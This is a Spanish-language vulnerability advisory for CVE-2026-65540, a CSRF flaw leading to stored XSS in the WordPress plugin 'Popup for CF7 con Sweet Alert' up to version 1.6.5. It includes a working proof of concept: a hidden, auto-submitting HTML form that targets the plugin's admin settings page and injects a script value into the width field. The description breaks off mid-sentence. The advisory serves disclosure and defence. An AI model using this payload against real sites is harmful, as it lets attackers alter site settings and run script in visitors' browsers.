CVE-2026-65540

Popup for CF7 con Sweet Alert <= 1.6.5 - Cross-Site Request Forgery

URL del plugin

https://wordpress.org/plugins/cf7-sweet-alert-popup/

Descripción

El controlador de ajustes del plugin contiene un error de lógica en su verificación de nonce que desactiva toda la protección CSRF. Un atacante no autenticado puede explotarlo engañando a un administrador autenticado para que visite una página maliciosa con un formulario oculto de envío automático, modificando arbitrariamente los ajustes del plugin. Los valores enviados se almacenan sin sanitización y se inyectan literalmente en un bloque

POC

1. Aloja la siguiente página HTML en un servidor separado:

<!DOCTYPE html>
<html>
<body>
<h1>Hello</h1>

<form style="visibility:hidden" action="http://TARGET/wp-admin/admin.php?page=cf7-simplepopup"
      method="POST" id="csrf" target="hiddenframe">
  <input name="cf7simplePopupWidth" value="500;alert(document.domain)">
  <input name="cf7simplePopupNonce" value="invalid_nonce">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>

2. Inicia sesión en WordPress como administrador
3. Visita la página maliciosa
4. (Opcional) Navega a http://TARGET/wp-admin/admin.php?page=cf7-simplepopup — confirma que el campo Width ahora contiene 500;alert(document.domain)
5. Visita cualquier página del frontend, alert(document.domain) se ejecuta en el navegador confirmando el XSS almacenado